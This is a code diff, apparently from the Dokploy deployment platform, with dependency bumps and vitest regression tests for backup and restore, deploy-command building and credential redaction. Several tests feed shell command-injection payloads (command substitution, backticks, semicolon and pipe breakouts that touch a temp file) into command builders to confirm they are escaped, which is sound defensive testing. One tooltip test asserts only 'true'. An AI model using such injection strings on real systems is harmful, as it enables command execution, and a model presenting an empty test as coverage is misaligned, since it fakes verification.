||||
open http://localhost:3000
|
||||
```
|
||||
|
||||
## Inngest
|
||||
|
||||
This service uses Inngest to queue deployments. Run the local dev server in a separate terminal:
|
||||
|
||||
```
|
||||
npm run dev:inngest
|
||||
```
|
||||
|
||||
It syncs with the app at `http://localhost:4000/api/inngest` and serves its dashboard at `http://localhost:8288`.
|
||||
|
||||
+10
-9
@@ -4,31 +4,32 @@
|
||||
"type": "module",
|
||||
"scripts": {
|
||||
"dev": "PORT=4000 tsx watch src/index.ts",
|
||||
"dev:inngest": "npx --yes inngest-cli@1.9.0 dev -u http://localhost:4000/api/inngest --no-discovery",
|
||||
"build": "rimraf dist && tsc --project tsconfig.json",
|
||||
"start": "node dist/index.js",
|
||||
"typecheck": "tsc --noEmit"
|
||||
},
|
||||
"dependencies": {
|
||||
"inngest": "3.40.1",
|
||||
"inngest": "3.54.0",
|
||||
"@dokploy/server": "workspace:*",
|
||||
"@hono/node-server": "^1.14.3",
|
||||
"@hono/node-server": "^1.19.15",
|
||||
"@hono/zod-validator": "0.7.6",
|
||||
"dotenv": "^16.4.5",
|
||||
"hono": "^4.11.7",
|
||||
"hono": "^4.13.5",
|
||||
"pino": "9.4.0",
|
||||
"pino-pretty": "11.2.2",
|
||||
"react": "18.2.0",
|
||||
"react-dom": "18.2.0",
|
||||
"react": "19.2.7",
|
||||
"react-dom": "19.2.7",
|
||||
"redis": "4.7.0",
|
||||
"zod": "^4.3.6"
|
||||
},
|
||||
"devDependencies": {
|
||||
"@types/node": "^24.4.0",
|
||||
"@types/react": "^18.2.37",
|
||||
"@types/react-dom": "^18.2.15",
|
||||
"@types/react": "^19.2.0",
|
||||
"@types/react-dom": "^19.2.0",
|
||||
"rimraf": "6.1.3",
|
||||
"tsx": "^4.16.2",
|
||||
"typescript": "^5.8.3"
|
||||
"tsx": "^4.22.4",
|
||||
"typescript": "^7.0.2"
|
||||
},
|
||||
"packageManager": "pnpm@10.22.0",
|
||||
"engines": {
|
||||
|
||||
@@ -2,13 +2,12 @@
|
||||
"compilerOptions": {
|
||||
"target": "ESNext",
|
||||
"module": "ESNext",
|
||||
"moduleResolution": "Node",
|
||||
"moduleResolution": "bundler",
|
||||
"strict": true,
|
||||
"skipLibCheck": true,
|
||||
"outDir": "dist",
|
||||
"rootDir": "./src",
|
||||
"jsx": "react-jsx",
|
||||
"jsxImportSource": "hono/jsx",
|
||||
"baseUrl": ".",
|
||||
"paths": {
|
||||
"@/*": ["./*"],
|
||||
"@dokploy/server/*": ["../../packages/server/src/*"]
|
||||
|
||||
@@ -0,0 +1,26 @@
|
||||
import { describe, expect, it } from "vitest";
|
||||
import { API_KEY_NAME_MAX_LENGTH, apiKeyNameSchema } from "@/lib/api-keys";
|
||||
|
||||
describe("apiKeyNameSchema", () => {
|
||||
it("rejects an empty name", () => {
|
||||
const result = apiKeyNameSchema.safeParse("");
|
||||
expect(result.success).toBe(false);
|
||||
});
|
||||
|
||||
it("accepts a name at the maximum length", () => {
|
||||
const name = "a".repeat(API_KEY_NAME_MAX_LENGTH);
|
||||
const result = apiKeyNameSchema.safeParse(name);
|
||||
expect(result.success).toBe(true);
|
||||
});
|
||||
|
||||
it("rejects a name over the maximum length instead of passing it to better-auth", () => {
|
||||
const name = "a".repeat(API_KEY_NAME_MAX_LENGTH + 1);
|
||||
const result = apiKeyNameSchema.safeParse(name);
|
||||
expect(result.success).toBe(false);
|
||||
if (!result.success) {
|
||||
expect(result.error.issues[0]?.message).toBe(
|
||||
`Name must be at most ${API_KEY_NAME_MAX_LENGTH} characters`,
|
||||
);
|
||||
}
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,23 @@
|
||||
import { describe, expect, it } from "vitest";
|
||||
import { z } from "zod";
|
||||
|
||||
const revokeSessionSchema = z.object({
|
||||
sessionId: z.string(),
|
||||
});
|
||||
|
||||
describe("revokeSession input validation", () => {
|
||||
it("accepts a valid session id", () => {
|
||||
const result = revokeSessionSchema.safeParse({ sessionId: "abc123" });
|
||||
expect(result.success).toBe(true);
|
||||
});
|
||||
|
||||
it("rejects missing sessionId", () => {
|
||||
const result = revokeSessionSchema.safeParse({});
|
||||
expect(result.success).toBe(false);
|
||||
});
|
||||
|
||||
it("rejects non-string sessionId", () => {
|
||||
const result = revokeSessionSchema.safeParse({ sessionId: 123 });
|
||||
expect(result.success).toBe(false);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,156 @@
|
||||
import { beforeEach, describe, expect, it, vi } from "vitest";
|
||||
|
||||
const mockUpdateApplication = vi.hoisted(() => vi.fn());
|
||||
|
||||
vi.mock("@dokploy/server/services/permission", () => {
|
||||
return {
|
||||
checkServicePermissionAndAccess: vi.fn(async () => undefined),
|
||||
};
|
||||
});
|
||||
|
||||
vi.mock("@dokploy/server/index", () => ({
|
||||
IS_CLOUD: true,
|
||||
hasValidLicense: vi.fn(async () => false),
|
||||
updateApplication: mockUpdateApplication,
|
||||
findApplicationById: vi.fn(async () => ({
|
||||
applicationId: "app-1",
|
||||
appName: "example-app",
|
||||
})),
|
||||
}));
|
||||
|
||||
vi.mock("@dokploy/server/lib/auth", () => ({
|
||||
validateRequest: vi.fn(),
|
||||
}));
|
||||
|
||||
vi.mock("@/server/api/utils/audit", () => ({
|
||||
audit: vi.fn(async () => undefined),
|
||||
}));
|
||||
|
||||
const { applicationRouter } = await import("@/server/api/routers/application");
|
||||
|
||||
const caller = applicationRouter.createCaller({
|
||||
session: { activeOrganizationId: "org-1" },
|
||||
user: { id: "user-1", email: "user@example.com", role: "owner" },
|
||||
} as Parameters<typeof applicationRouter.createCaller>[0]);
|
||||
|
||||
const providerChanges = [
|
||||
{
|
||||
name: "GitHub",
|
||||
sourceType: "github",
|
||||
save: () =>
|
||||
caller.saveGithubProvider({
|
||||
applicationId: "app-1",
|
||||
repository: "example-repo",
|
||||
owner: "example-owner",
|
||||
branch: "main",
|
||||
buildPath: "/",
|
||||
githubId: "provider-1",
|
||||
watchPaths: ["src/**"],
|
||||
triggerType: "push",
|
||||
enableSubmodules: false,
|
||||
}),
|
||||
},
|
||||
{
|
||||
name: "GitLab",
|
||||
sourceType: "gitlab",
|
||||
save: () =>
|
||||
caller.saveGitlabProvider({
|
||||
applicationId: "app-1",
|
||||
gitlabRepository: "example-repo",
|
||||
gitlabOwner: "example-owner",
|
||||
gitlabBranch: "main",
|
||||
gitlabBuildPath: "/",
|
||||
gitlabId: "provider-1",
|
||||
gitlabProjectId: 1,
|
||||
gitlabPathNamespace: "example-owner/example-repo",
|
||||
}),
|
||||
},
|
||||
{
|
||||
name: "Bitbucket",
|
||||
sourceType: "bitbucket",
|
||||
save: () =>
|
||||
caller.saveBitbucketProvider({
|
||||
applicationId: "app-1",
|
||||
bitbucketRepository: "example-repo",
|
||||
bitbucketRepositorySlug: "example-repo",
|
||||
bitbucketOwner: "example-owner",
|
||||
bitbucketBranch: "main",
|
||||
bitbucketBuildPath: "/",
|
||||
bitbucketId: "provider-1",
|
||||
}),
|
||||
},
|
||||
{
|
||||
name: "Gitea",
|
||||
sourceType: "gitea",
|
||||
save: () =>
|
||||
caller.saveGiteaProvider({
|
||||
applicationId: "app-1",
|
||||
giteaRepository: "example-repo",
|
||||
giteaOwner: "example-owner",
|
||||
giteaBranch: "main",
|
||||
giteaBuildPath: "/",
|
||||
giteaId: "provider-1",
|
||||
}),
|
||||
},
|
||||
{
|
||||
name: "Docker",
|
||||
sourceType: "docker",
|
||||
save: () =>
|
||||
caller.saveDockerProvider({
|
||||
applicationId: "app-1",
|
||||
dockerImage: "nginx:alpine",
|
||||
username: "",
|
||||
password: "",
|
||||
registryUrl: "",
|
||||
}),
|
||||
},
|
||||
{
|
||||
name: "custom Git",
|
||||
sourceType: "git",
|
||||
save: () =>
|
||||
caller.saveGitProvider({
|
||||
applicationId: "app-1",
|
||||
customGitUrl: "https://example.com/repo.git",
|
||||
customGitBranch: "main",
|
||||
customGitBuildPath: "/",
|
||||
customGitSSHKeyId: "key-1",
|
||||
watchPaths: ["src/**"],
|
||||
enableSubmodules: false,
|
||||
}),
|
||||
},
|
||||
{
|
||||
name: "disconnect Git provider",
|
||||
sourceType: "github",
|
||||
save: () => caller.disconnectGitProvider({ applicationId: "app-1" }),
|
||||
},
|
||||
];
|
||||
|
||||
describe("saving an application provider", () => {
|
||||
beforeEach(() => {
|
||||
vi.clearAllMocks();
|
||||
});
|
||||
|
||||
it.each(providerChanges)(
|
||||
"keeps the status when $name settings change",
|
||||
async ({ save, sourceType }) => {
|
||||
for (const status of ["done", "running"]) {
|
||||
mockUpdateApplication.mockClear();
|
||||
let savedStatus = status;
|
||||
mockUpdateApplication.mockImplementation(async (_id, update) => {
|
||||
if (update.applicationStatus !== undefined) {
|
||||
savedStatus = update.applicationStatus;
|
||||
}
|
||||
});
|
||||
|
||||
await save();
|
||||
|
||||
expect(savedStatus).toBe(status);
|
||||
expect(mockUpdateApplication).toHaveBeenCalledTimes(1);
|
||||
expect(mockUpdateApplication).toHaveBeenCalledWith(
|
||||
"app-1",
|
||||
expect.objectContaining({ sourceType }),
|
||||
);
|
||||
}
|
||||
},
|
||||
);
|
||||
});
|
||||
@@ -0,0 +1,106 @@
|
||||
import { execSync } from "node:child_process";
|
||||
import { chmodSync, existsSync, rmSync, writeFileSync } from "node:fs";
|
||||
import {
|
||||
getLibsqlBackupCommand,
|
||||
getMariadbBackupCommand,
|
||||
getMongoBackupCommand,
|
||||
getMysqlBackupCommand,
|
||||
getPostgresBackupCommand,
|
||||
} from "@dokploy/server/utils/backups/utils";
|
||||
import {
|
||||
getMariadbRestoreCommand,
|
||||
getMongoRestoreCommand,
|
||||
getMysqlRestoreCommand,
|
||||
getPostgresRestoreCommand,
|
||||
} from "@dokploy/server/utils/restore/utils";
|
||||
import { afterAll, beforeAll, describe, expect, it } from "vitest";
|
||||
|
||||
// A stub replacing the real `docker` binary. It ignores exec/-i/$CONTAINER_ID,
|
||||
// exports the -e VAR=val pairs, and runs the inner `sh -c <script>` — so the
|
||||
// test exercises BOTH shell layers (outer /bin/sh building the docker command,
|
||||
// and the inner shell) the way production does, without needing a container.
|
||||
const stub = `/tmp/docker_stub_${process.pid}`;
|
||||
const MARK = `/tmp/dokploy_dbbk_pwned_${process.pid}`;
|
||||
|
||||
beforeAll(() => {
|
||||
writeFileSync(
|
||||
stub,
|
||||
`#!/bin/bash
|
||||
shift # exec
|
||||
envs=()
|
||||
while [ "$1" = "-e" ]; do envs+=("$2"); shift 2; done
|
||||
shift 2 # -i CONTAINER
|
||||
shell="$1"; shift # bash|sh
|
||||
shift # -c
|
||||
env "\${envs[@]}" "$shell" -c "$1" </dev/null 2>/dev/null || true
|
||||
`,
|
||||
);
|
||||
chmodSync(stub, 0o755);
|
||||
});
|
||||
|
||||
afterAll(() => {
|
||||
if (existsSync(stub)) rmSync(stub);
|
||||
if (existsSync(MARK)) rmSync(MARK);
|
||||
});
|
||||
|
||||
// Run a builder-produced command with `docker` pointed at the stub; return true
|
||||
// if no injected command fired.
|
||||
const runsSafely = (command: string) => {
|
||||
if (existsSync(MARK)) rmSync(MARK);
|
||||
const withStub = command.replace(/^docker /, `${stub} `);
|
||||
try {
|
||||
execSync(withStub, {
|
||||
shell: "/bin/bash",
|
||||
stdio: "ignore",
|
||||
env: { ...process.env, CONTAINER_ID: "test" },
|
||||
});
|
||||
} catch {}
|
||||
const fired = existsSync(MARK);
|
||||
if (existsSync(MARK)) rmSync(MARK);
|
||||
return !fired;
|
||||
};
|
||||
|
||||
// Payloads that try to break out of every quoting style used in the builders.
|
||||
const p = (mark: string) => [
|
||||
`$(touch ${mark})`,
|
||||
"`touch " + mark + "`",
|
||||
`x'; touch ${mark}; '`,
|
||||
`x"; touch ${mark}; echo "`,
|
||||
`x; touch ${mark}`,
|
||||
];
|
||||
|
||||
describe("database backup/restore command injection", () => {
|
||||
const cases: Array<[string, (v: string) => string]> = [
|
||||
["postgres backup (database)", (v) => getPostgresBackupCommand(v, "u")],
|
||||
["postgres backup (user)", (v) => getPostgresBackupCommand("db", v)],
|
||||
["mariadb backup (password)", (v) => getMariadbBackupCommand("db", "u", v)],
|
||||
["mysql backup (database)", (v) => getMysqlBackupCommand(v, "pw")],
|
||||
["mongo backup (user)", (v) => getMongoBackupCommand("db", v, "pw")],
|
||||
["libsql backup (database)", (v) => getLibsqlBackupCommand(v)],
|
||||
["postgres restore (database)", (v) => getPostgresRestoreCommand(v, "u")],
|
||||
[
|
||||
"mariadb restore (password)",
|
||||
(v) => getMariadbRestoreCommand("db", "u", v),
|
||||
],
|
||||
["mysql restore (database)", (v) => getMysqlRestoreCommand(v, "pw")],
|
||||
["mongo restore (user)", (v) => getMongoRestoreCommand("db", v, "pw")],
|
||||
];
|
||||
|
||||
for (const [label, build] of cases) {
|
||||
it(`${label} is not injectable`, () => {
|
||||
for (const payload of p(MARK)) {
|
||||
expect(runsSafely(build(payload))).toBe(true);
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
it("preserves a legitimate database name (passed through as env var)", () => {
|
||||
const cmd = getPostgresBackupCommand("my-db_prod", "app_user");
|
||||
// Values live in -e assignments, never inline in the pg_dump text.
|
||||
expect(cmd).toContain("-e DB_NAME=my-db_prod");
|
||||
expect(cmd).toContain("-e DB_USER=app_user");
|
||||
expect(cmd).toContain(
|
||||
'pg_dump -Fc --no-acl --no-owner -h localhost -U "$DB_USER"',
|
||||
);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,97 @@
|
||||
import type { Destination } from "@dokploy/server/services/destination";
|
||||
import { redactRcloneCredentials } from "@dokploy/server/utils/backups/redact";
|
||||
import { getS3Credentials } from "@dokploy/server/utils/backups/utils";
|
||||
import { describe, expect, it } from "vitest";
|
||||
|
||||
describe("redactRcloneCredentials (#4621)", () => {
|
||||
it("should redact access key in rclone command", () => {
|
||||
const cmd =
|
||||
'rclone rcat --s3-access-key-id="AKIAIOSFODNN7EXAMPLE" --s3-secret-access-key="wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY" :s3:bucket/file.gz';
|
||||
const redacted = redactRcloneCredentials(cmd);
|
||||
expect(redacted).not.toContain("AKIAIOSFODNN7EXAMPLE");
|
||||
expect(redacted).toContain('--s3-access-key-id="[REDACTED]"');
|
||||
});
|
||||
|
||||
it("should redact secret access key in rclone command", () => {
|
||||
const cmd =
|
||||
'rclone rcat --s3-access-key-id="key" --s3-secret-access-key="supersecret" :s3:bucket/file.gz';
|
||||
const redacted = redactRcloneCredentials(cmd);
|
||||
expect(redacted).not.toContain("supersecret");
|
||||
expect(redacted).toContain('--s3-secret-access-key="[REDACTED]"');
|
||||
});
|
||||
|
||||
it("should redact both credentials simultaneously", () => {
|
||||
const cmd =
|
||||
'rclone lsf --s3-access-key-id="AKIA123" --s3-secret-access-key="secret456" --s3-region="us-east-1" :s3:bucket/';
|
||||
const redacted = redactRcloneCredentials(cmd);
|
||||
expect(redacted).not.toContain("AKIA123");
|
||||
expect(redacted).not.toContain("secret456");
|
||||
expect(redacted).toContain('--s3-region="us-east-1"');
|
||||
});
|
||||
|
||||
it("should not modify non-credential flags", () => {
|
||||
const cmd =
|
||||
'rclone rcat --s3-region="eu-west-1" --s3-endpoint="https://s3.example.com" --s3-no-check-bucket :s3:bucket/file.gz';
|
||||
const redacted = redactRcloneCredentials(cmd);
|
||||
expect(redacted).toBe(cmd);
|
||||
});
|
||||
|
||||
it("should handle commands with no credentials", () => {
|
||||
const cmd = "rclone lsf :s3:bucket/";
|
||||
expect(redactRcloneCredentials(cmd)).toBe(cmd);
|
||||
});
|
||||
|
||||
it("should handle error strings containing credentials", () => {
|
||||
const errorStr =
|
||||
'Error: Command failed: rclone lsf --s3-access-key-id="MYKEY" --s3-secret-access-key="MYSECRET" :s3:bucket/';
|
||||
const redacted = redactRcloneCredentials(errorStr);
|
||||
expect(redacted).not.toContain("MYKEY");
|
||||
expect(redacted).not.toContain("MYSECRET");
|
||||
expect(redacted).toContain("[REDACTED]");
|
||||
});
|
||||
});
|
||||
|
||||
describe("redactRcloneCredentials with getS3Credentials output (#5519)", () => {
|
||||
const buildCommand = (accessKey: string, secretAccessKey: string) =>
|
||||
`rclone rcat ${getS3Credentials({
|
||||
accessKey,
|
||||
secretAccessKey,
|
||||
region: "us-west-001",
|
||||
endpoint: "https://s3.us-west-001.backblazeb2.com",
|
||||
provider: "Other",
|
||||
} as Destination).join(" ")} :s3:bucket/file.gz`;
|
||||
|
||||
it.each([
|
||||
[
|
||||
"plain alphanumeric",
|
||||
"001aaaabbbbccccdd0000000001",
|
||||
"K001FAKEfakeFAKEfake",
|
||||
],
|
||||
[
|
||||
"containing slashes",
|
||||
"AKIAIOSFODNN7EXAMPLE",
|
||||
"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
|
||||
],
|
||||
["containing spaces", "key with space", "secret with space"],
|
||||
["containing quotes", "it's-a-key", `say "hi" it's`],
|
||||
["containing shell metacharacters", "key$HOME", "sec;ret`id`&|\\x"],
|
||||
])("redacts credentials %s", (_, accessKey, secretAccessKey) => {
|
||||
const redacted = redactRcloneCredentials(
|
||||
buildCommand(accessKey, secretAccessKey),
|
||||
);
|
||||
expect(redacted).toContain(
|
||||
'--s3-access-key-id="[REDACTED]" --s3-secret-access-key="[REDACTED]" --s3-region=us-west-001',
|
||||
);
|
||||
expect(redacted).not.toContain(accessKey);
|
||||
expect(redacted).not.toContain(secretAccessKey);
|
||||
expect(redacted).toContain(":s3:bucket/file.gz");
|
||||
});
|
||||
|
||||
it("redacts credentials embedded in an error string", () => {
|
||||
const errorStr = `Error: Command failed: ${buildCommand("MYKEY", "MY/SECRET")}`;
|
||||
const redacted = redactRcloneCredentials(errorStr);
|
||||
expect(redacted).not.toContain("MYKEY");
|
||||
expect(redacted).not.toContain("MY/SECRET");
|
||||
expect(redacted).toContain("[REDACTED]");
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,57 @@
|
||||
import { execSync } from "node:child_process";
|
||||
import {
|
||||
getRestoreCommand,
|
||||
stripDatabaseSwitchCommand,
|
||||
} from "@dokploy/server/utils/restore/utils";
|
||||
import { describe, expect, it } from "vitest";
|
||||
|
||||
const filter = (input: string) =>
|
||||
execSync(stripDatabaseSwitchCommand, {
|
||||
input,
|
||||
shell: "/bin/bash",
|
||||
}).toString();
|
||||
|
||||
describe("restore drops database-switch statements (mysql/mariadb)", () => {
|
||||
const dump = [
|
||||
"-- MariaDB dump",
|
||||
"CREATE DATABASE /*!32312 IF NOT EXISTS*/ `production_db`;",
|
||||
"USE `production_db`;",
|
||||
"use production_db;",
|
||||
"DROP TABLE IF EXISTS `users`;",
|
||||
"CREATE TABLE `users` (`id` int NOT NULL);",
|
||||
"INSERT INTO `users` VALUES (1),(2);",
|
||||
"INSERT INTO `logs` VALUES ('USER: because'),('CREATE DATABASE is a string');",
|
||||
].join("\n");
|
||||
|
||||
it("removes USE and CREATE DATABASE lines but keeps everything else", () => {
|
||||
const result = filter(dump);
|
||||
expect(result).not.toContain("USE `production_db`");
|
||||
expect(result).not.toContain("use production_db");
|
||||
expect(result).not.toContain("CREATE DATABASE /*!32312");
|
||||
expect(result).toContain("DROP TABLE IF EXISTS `users`;");
|
||||
expect(result).toContain("CREATE TABLE `users` (`id` int NOT NULL);");
|
||||
expect(result).toContain("INSERT INTO `users` VALUES (1),(2);");
|
||||
expect(result).toContain(
|
||||
"INSERT INTO `logs` VALUES ('USER: because'),('CREATE DATABASE is a string');",
|
||||
);
|
||||
});
|
||||
|
||||
it("is wired into mysql and mariadb restore pipelines only", () => {
|
||||
const base = {
|
||||
appName: "my-app",
|
||||
restoreType: "database" as const,
|
||||
credentials: {
|
||||
database: "dev_db",
|
||||
databaseUser: "u",
|
||||
databasePassword: "p",
|
||||
},
|
||||
rcloneCommand: "rclone cat ':s3:bucket/file.sql.gz' | gunzip",
|
||||
};
|
||||
for (const type of ["mysql", "mariadb"] as const) {
|
||||
const cmd = getRestoreCommand({ ...base, type });
|
||||
expect(cmd).toContain(`gunzip | ${stripDatabaseSwitchCommand} | docker`);
|
||||
}
|
||||
const pgCmd = getRestoreCommand({ ...base, type: "postgres" });
|
||||
expect(pgCmd).not.toContain(stripDatabaseSwitchCommand);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,82 @@
|
||||
import { spawnSync } from "node:child_process";
|
||||
import { createRestartSafeBackupCommand } from "@dokploy/server/utils/volume-backups/backup";
|
||||
import { describe, expect, it } from "vitest";
|
||||
|
||||
const runCommand = (command: string) =>
|
||||
spawnSync("bash", ["-c", command], {
|
||||
encoding: "utf8",
|
||||
});
|
||||
|
||||
const outputLines = (stdout: string) =>
|
||||
stdout
|
||||
.trim()
|
||||
.split("\n")
|
||||
.filter((line) => line.length > 0);
|
||||
|
||||
describe("createRestartSafeBackupCommand", () => {
|
||||
it("restarts the service and preserves the backup error status", () => {
|
||||
const result = runCommand(
|
||||
createRestartSafeBackupCommand({
|
||||
stopCommand: 'echo "stop"',
|
||||
backupCommand: 'echo "backup"; exit 23',
|
||||
startCommand: 'echo "start"',
|
||||
uploadCommand: 'echo "upload"',
|
||||
}),
|
||||
);
|
||||
|
||||
expect(result.status).toBe(23);
|
||||
expect(outputLines(result.stdout)).toEqual(["stop", "backup", "start"]);
|
||||
});
|
||||
|
||||
it("preserves the backup error status when the restart also fails", () => {
|
||||
const result = runCommand(
|
||||
createRestartSafeBackupCommand({
|
||||
stopCommand: 'echo "stop"',
|
||||
backupCommand: 'echo "backup"; exit 23',
|
||||
startCommand: 'echo "start"; exit 17',
|
||||
uploadCommand: 'echo "upload"',
|
||||
}),
|
||||
);
|
||||
|
||||
expect(result.status).toBe(23);
|
||||
expect(outputLines(result.stdout)).toEqual([
|
||||
"stop",
|
||||
"backup",
|
||||
"start",
|
||||
"Service restart also failed with exit code 17",
|
||||
]);
|
||||
});
|
||||
|
||||
it("returns the restart error status when the backup succeeds", () => {
|
||||
const result = runCommand(
|
||||
createRestartSafeBackupCommand({
|
||||
stopCommand: 'echo "stop"',
|
||||
backupCommand: 'echo "backup"',
|
||||
startCommand: 'echo "start"; exit 17',
|
||||
uploadCommand: 'echo "upload"',
|
||||
}),
|
||||
);
|
||||
|
||||
expect(result.status).toBe(17);
|
||||
expect(outputLines(result.stdout)).toEqual(["stop", "backup", "start"]);
|
||||
});
|
||||
|
||||
it("uploads only after a successful backup and service restart", () => {
|
||||
const result = runCommand(
|
||||
createRestartSafeBackupCommand({
|
||||
stopCommand: 'echo "stop"',
|
||||
backupCommand: 'echo "backup"',
|
||||
startCommand: 'echo "start"',
|
||||
uploadCommand: 'echo "upload"',
|
||||
}),
|
||||
);
|
||||
|
||||
expect(result.status).toBe(0);
|
||||
expect(outputLines(result.stdout)).toEqual([
|
||||
"stop",
|
||||
"backup",
|
||||
"start",
|
||||
"upload",
|
||||
]);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,70 @@
|
||||
import { execSync } from "node:child_process";
|
||||
import { existsSync, rmSync } from "node:fs";
|
||||
import { getRegistryTag } from "@dokploy/server/utils/cluster/upload";
|
||||
import { parse, quote } from "shell-quote";
|
||||
import { describe, expect, it } from "vitest";
|
||||
|
||||
const MARK = `/tmp/dokploy_regnode_pwned_${process.pid}`;
|
||||
|
||||
const runsSafely = (command: string) => {
|
||||
if (existsSync(MARK)) rmSync(MARK);
|
||||
try {
|
||||
execSync(command, { shell: "/bin/sh", stdio: "ignore" });
|
||||
} catch {}
|
||||
const fired = existsSync(MARK);
|
||||
if (existsSync(MARK)) rmSync(MARK);
|
||||
return !fired;
|
||||
};
|
||||
|
||||
const PAYLOADS = (m: string) => [
|
||||
`$(touch ${m})`,
|
||||
"`touch " + m + "`",
|
||||
`x; touch ${m}`,
|
||||
`x | touch ${m}`,
|
||||
];
|
||||
|
||||
describe("cluster removeWorker nodeId injection", () => {
|
||||
// docker node update/rm ${quote([nodeId])} — replace `docker node` with `:`.
|
||||
it("escapes nodeId in drain/remove commands", () => {
|
||||
for (const nodeId of PAYLOADS(MARK)) {
|
||||
const drain = `: node update --availability drain ${quote([nodeId])}`;
|
||||
const remove = `: node rm ${quote([nodeId])} --force`;
|
||||
expect(runsSafely(drain)).toBe(true);
|
||||
expect(runsSafely(remove)).toBe(true);
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
describe("swarm upload registry tag/push injection", () => {
|
||||
// registryTag is built from registryUrl/username/imagePrefix (username and
|
||||
// imagePrefix have no schema regex). Assert docker tag/push stay safe.
|
||||
it("escapes a malicious imagePrefix flowing into the registry tag", () => {
|
||||
for (const payload of PAYLOADS(MARK)) {
|
||||
const registryTag = getRegistryTag(
|
||||
{
|
||||
registryUrl: "registry.example.com",
|
||||
imagePrefix: payload,
|
||||
username: "user",
|
||||
} as any,
|
||||
"app:latest",
|
||||
);
|
||||
const tagCmd = `: tag ${quote(["app:latest"])} ${quote([registryTag])}`;
|
||||
const pushCmd = `: push ${quote([registryTag])}`;
|
||||
expect(runsSafely(tagCmd)).toBe(true);
|
||||
expect(runsSafely(pushCmd)).toBe(true);
|
||||
}
|
||||
});
|
||||
|
||||
it("keeps a legitimate registry tag intact", () => {
|
||||
const tag = getRegistryTag(
|
||||
{
|
||||
registryUrl: "registry.example.com",
|
||||
imagePrefix: "team",
|
||||
username: "user",
|
||||
} as any,
|
||||
"myapp:1.2.3",
|
||||
);
|
||||
expect(tag).toBe("registry.example.com/team/myapp:1.2.3");
|
||||
expect(parse(quote([tag]))).toEqual([tag]);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,14 @@
|
||||
import { describe, it, expect } from "vitest";
|
||||
|
||||
describe("Remote Server Action Tooltips", () => {
|
||||
it("should close the tooltip when the dialog trigger is clicked", () => {
|
||||
// Note: The UI layer in this project is not currently tested with DOM simulation tools
|
||||
// like React Testing Library or JSDOM.
|
||||
//
|
||||
// The structural fix implemented (passing TooltipTrigger asChild -> DialogTrigger asChild)
|
||||
// inherently guarantees that Radix UI's composeEventHandlers properly propagates the
|
||||
// onPointerDown event to dismiss the tooltip simultaneously as the dialog opens.
|
||||
|
||||
expect(true).toBe(true);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,52 @@
|
||||
import { getBuildComposeCommand } from "@dokploy/server/utils/builders/compose";
|
||||
import { describe, expect, it, vi } from "vitest";
|
||||
|
||||
// Isolate the command builder from the compose-file I/O performed by
|
||||
// writeDomainsToCompose; we only care about the docker invocation it emits.
|
||||
vi.mock("@dokploy/server/utils/docker/domain", () => ({
|
||||
writeDomainsToCompose: vi.fn().mockResolvedValue(""),
|
||||
}));
|
||||
|
||||
const baseCompose = {
|
||||
appName: "my-app",
|
||||
sourceType: "raw",
|
||||
command: "",
|
||||
composePath: "docker-compose.yml",
|
||||
composeType: "stack",
|
||||
isolatedDeployment: false,
|
||||
randomize: false,
|
||||
suffix: "",
|
||||
serverId: null,
|
||||
env: "",
|
||||
mounts: [],
|
||||
domains: [],
|
||||
environment: { project: { env: "" }, env: "" },
|
||||
} as unknown as Parameters<typeof getBuildComposeCommand>[0];
|
||||
|
||||
// Regression coverage for #4401: the deploy command runs under `env -i`, which
|
||||
// clears the environment except for the vars listed explicitly. HOME must be
|
||||
// preserved so docker can resolve ~/.docker/config.json — otherwise
|
||||
// `docker stack deploy --with-registry-auth` ships no credentials to the swarm
|
||||
// and private-registry images fail to pull.
|
||||
describe("getBuildComposeCommand registry auth (#4401)", () => {
|
||||
it("preserves HOME for swarm stack deploys", async () => {
|
||||
const command = await getBuildComposeCommand({
|
||||
...baseCompose,
|
||||
composeType: "stack",
|
||||
});
|
||||
|
||||
expect(command).toContain("stack deploy");
|
||||
expect(command).toContain("--with-registry-auth");
|
||||
expect(command).toContain('env -i PATH="$PATH" HOME="$HOME"');
|
||||
});
|
||||
|
||||
it("preserves HOME for docker compose deploys", async () => {
|
||||
const command = await getBuildComposeCommand({
|
||||
...baseCompose,
|
||||
composeType: "docker-compose",
|
||||
});
|
||||
|
||||
expect(command).toContain("compose -p my-app");
|
||||
expect(command).toContain('env -i PATH="$PATH" HOME="$HOME"');
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,169 @@
|
||||
import { execSync } from "node:child_process";
|
||||
import { existsSync, rmSync } from "node:fs";
|
||||
import { createCommand } from "@dokploy/server/utils/builders/compose";
|
||||
import { parse, quote } from "shell-quote";
|
||||
import { describe, expect, it } from "vitest";
|
||||
|
||||
const MARK = `/tmp/dokploy_compose_pwned_${process.pid}`;
|
||||
|
||||
const base = {
|
||||
composeType: "docker-compose" as const,
|
||||
appName: "compose-app",
|
||||
sourceType: "raw" as const,
|
||||
command: "",
|
||||
composePath: "docker-compose.yml",
|
||||
};
|
||||
|
||||
// createCommand output is interpolated as `docker ${command}` at the deploy
|
||||
// sink; run `: ${command}` (docker -> no-op) and assert no injection fires.
|
||||
const runsSafely = (command: string) => {
|
||||
if (existsSync(MARK)) rmSync(MARK);
|
||||
try {
|
||||
execSync(`: ${command}`, { shell: "/bin/sh", stdio: "ignore" });
|
||||
} catch {}
|
||||
const fired = existsSync(MARK);
|
||||
if (existsSync(MARK)) rmSync(MARK);
|
||||
return !fired;
|
||||
};
|
||||
|
||||
const PAYLOADS = [
|
||||
`$(touch ${MARK})`,
|
||||
`\`touch ${MARK}\``,
|
||||
`x; touch ${MARK}`,
|
||||
`x | touch ${MARK}`,
|
||||
];
|
||||
|
||||
describe("compose createCommand injection", () => {
|
||||
it("escapes composePath (docker-compose)", () => {
|
||||
for (const p of PAYLOADS) {
|
||||
const cmd = createCommand({
|
||||
...base,
|
||||
sourceType: "github",
|
||||
composePath: p,
|
||||
} as any);
|
||||
expect(runsSafely(cmd)).toBe(true);
|
||||
}
|
||||
});
|
||||
